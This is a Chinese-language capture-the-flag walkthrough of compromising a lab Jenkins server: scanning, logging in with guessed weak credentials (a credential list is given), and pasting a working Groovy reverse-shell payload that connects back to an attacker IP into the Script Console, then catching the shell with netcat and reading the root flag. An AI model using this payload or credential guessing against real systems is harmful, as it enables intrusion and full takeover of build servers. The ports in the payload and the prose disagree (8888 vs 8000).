靶场地址:10.129.127.90

nmap和fscan扫描

还是常规的nmap和fscan扫描

首先可以看到常规的NMAP扫描

然后是fscan扫描

其实对比一下发现确实是nmap的扫描比较详细

那么我们肯定要访问一下这个8080到底是什么东西

其实看到这个框架就应该想到了,我们可以直接打poc

CVE介绍

在网络安全行业,有一种方法可以识别、定义和编目公开披露的漏洞。这种识别类型称为CVE,代表通用漏洞和暴露。事后分析中,每个漏洞都会被分配一个严重性评级,称为CVSS评分,范围从0到10,其中0被认为是信息性的,10是严重的。这些评分取决于几个因素,包括CIA三合一体的破坏程度(机密性、完整性、可用性)、攻击复杂度级别、攻击面大小等。在系统上发现的最知名和最令人担忧的漏洞类型之一称为任意远程命令执行漏洞。

在计算机安全中,任意代码执行(ACE)是攻击者在目标机器或目标进程中执行任意命令或代码的能力。[...] 旨在利用此类漏洞的程序称为任意代码执行漏洞利用。通过网络触发任意代码执行的能力(主要通过广域网如互联网)通常称为远程代码执行(RCE)。

攻击

在这个例子中,我们将准确探索这种类型的攻击向量。

从扫描输出中,我们发现了一个值得关注的结果。Jetty版本9.4.39.v20210325正在开放的TCP端口8080上运行。像任何其他HTTP服务器一样,我们需要使用浏览器来轻松探索此服务。通过URL搜索栏导航到目标的IP地址将产生错误,因为我们需要指定服务运行的端口。回顾扫描结果,该服务不在端口80上运行,而端口80是您只输入目标IP地址时浏览器所期望的端口。但是,如果我们指定IP:PORT组合如下所示,我们将得到以下结果。

http://{target_ip}:8080/

HTTP服务器似乎正在运行Jenkins服务。以下片段中可以找到该服务的小结。它将让我们了解此类服务的功能以及它可能如何与后端交互。任何交互都是至关重要的,因为它们可以作为获得后端运行一切的主机立足点的网关。如果其中任何一个配置不当,它们可能为攻击者提供一条容易的利用路径。

Jenkins是一个免费的开源自动化服务器。它帮助自动化软件开发中与构建、测试和部署相关的部分,促进持续集成和交付。它是一个基于服务器的系统。

我们可以针对此登录界面探索的潜在方法是尝试使用常用的弱凭据对进行登录。这依赖于服务器管理员可能忽略了安全配置Jenkins服务的可能性。在网页上搜索常见的弱凭据对后,我们得到以下结果:

admin:password
admin:admin
root:root
root:password
admin:admin1
admin:password1
root:password1

幸运的是,我们是对的。尝试使用上述列表中的多个组合后,我们可以使用凭据对root:password成功登录,并看到Jenkins服务的管理面板。现在,是时候四处看看了。

在页面的右下角,显示了Jenkins服务的当前版本。这是攻击者会检查的第一个线索——特别是当前安装的版本是否在互联网上发布了任何已知的CVE或攻击方法。不幸的是,这不是我们的情况。当前版本被报告为安全的。作为替代方案,我们在搜索Jenkins漏洞时偶然发现了两个重要的信息。

包含多种获得Jenkins RCE方法的手册

类似于上述内容的仓库,包括脚本和工具的

当偶然发现上述示例等宝贵的资源时,至关重要的是将它们保存在组织良好的书签文件夹中以便快速访问。强烈鼓励在您的专业活动中使用成熟的研究成果,这种情况也不例外。

在上面提供的两个链接中都提到了Jenkins脚本控制台,可以在其中编写和任意运行所谓的Groovy脚本。要访问它,您需要导航到左侧菜单,到Manage Jenkins > Script Console,或者直接从浏览器URL搜索栏访问以下URL:

http://{target_ip}:8080/script

正如之前链接的两个文档中所解释的,我们实现Groovy脚本的目标是接收来自目标的反向shell连接。这里的反向意味着目标将初始化连接请求回到我们的攻击者虚拟机,实现简单和更好地规避防火墙是主要原因。成功利用远程命令执行漏洞的攻击者可以使用反向shell在目标机器上获得交互式shell会话并继续他们的攻击。

由于它只执行Groovy命令,我们需要创建一个Groovy的有效载荷来执行反向shell连接。具体来说,我们将通过指定我们的IP地址和我们将监听新连接的端口,使远程服务器连接到我们。通过那个监听端口,目标最终会向我们发送连接请求,我们的主机将接受该请求,形成一个对目标后端系统具有控制权的交互式shell。为了做到这一点,我们需要一个专门制作的有效载荷,我们可以在以下GitHub备忘录中找到。

我们要找的有效载荷如下所示。这段文本只有第一行的{your_IP}部分需要更改以适应您的具体情况。在这种情况下,您需要找出从部署的VPN连接中获得的IP地址。将{your_IP}部分替换为您的IP地址后,您可以将整个片段粘贴到Jenkins的脚本控制台中。

String host="10.10.16.25";
int port=8888;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

为了获得当前部署的VPN连接的IP地址,您需要打开一个新的终端标签页或窗口,输入ip a | grep tun0命令。输出将如下所示,您需要在上面的片段中替换的IP地址用绿色标记。

在找出tun0接口的IP地址并将其替换到脚本控制台中后,您可以查看代码块中前3行各自实现的功能,以更好地理解有效载荷。

String host="{your_IP}";:指定目标连接回的IP地址。

int port=8000;:指定攻击者监听的端口。

String cmd="/bin/bash";:指定攻击者期望的shell类型。*

* 由于目标是基于Linux的,我们使/bin/bash

如果目标使用Windows,它将cmd.exe

脚本的其余部分将指示目标创建一个cmd进程,该进程将初始化到提供的主机和端口(在本例中是我们)的连接请求。我们的监听器脚本将在指定端口上运行并捕获来自目标的连接请求,成功在目标和攻击者主机之间形成反向shell。在我们这边,这看起来像是收到了一个新的连接,我们现在可以在目标主机的终端中输入命令。除非目标主动监控其运行进程的网络活动或其端口的出站连接,否则在目标端不会显示出来。

在运行粘贴到Jenkins脚本控制台中的命令之前,我们需要确保我们的监听器脚本已经在与上述命令中指定的相同端口上运行,即int port=8000。为了实现这一点,我们将使用一个名为netcat(简称nc)的工具。查看netcat的维基百科文章,我们可以了解更多关于其用途的信息。

netcat(通常缩写为nc)是一个计算机网络实用程序,用于使用TCP或UDP读取和写入网络连接。该命令被设计为一个可靠的后端,可以直接使用或轻松由其他程序和脚本驱动。同时,它是一个功能丰富的网络调试和调查工具,因为它可以产生用户可能需要的几乎任何类型的连接,并具有几种内置功能。其功能列表包括端口扫描、文件传输和端口监听:与任何服务器一样,它可以被用作后门。

Netcat预装在每个Linux发行版中,为了查看如何使用它,我们可以在终端窗口中输入nc -h命令。

经过对帮助输出的简短分析,我们可以打开一个新的终端标签页,输入以下命令在指定端口启动netcat监听器。这将使我们的攻击者主机准备好接收来自目标的连接,这是启动我们放置在Jenkins脚本控制台中的脚本之前的最后一步。

l : 监听模式。
v : 详细模式。更详细地显示状态消息。
n : 仅数字IP地址。不进行主机名解析。不使用DNS。
p : 端口。用于指定监听的特定端口。

现在我们的监听器已经启动,我们可以通过点击Run按钮来执行有效载荷。

脚本运行后,我们可以导航到运行netcat的终端并检查连接状态。从输出中,我们了解到已经从{target_IP}接收到到{your_IP}的连接,然后是空白空间。我们可以通过输入whoami和id命令来尝试与shell交互。这些命令有助于验证我们在目标系统上的权限级别。从输出中,我们可以快速确定我们处于最高权限级别。

然后我们切换到root目录下成功获得flag

cat flag.txt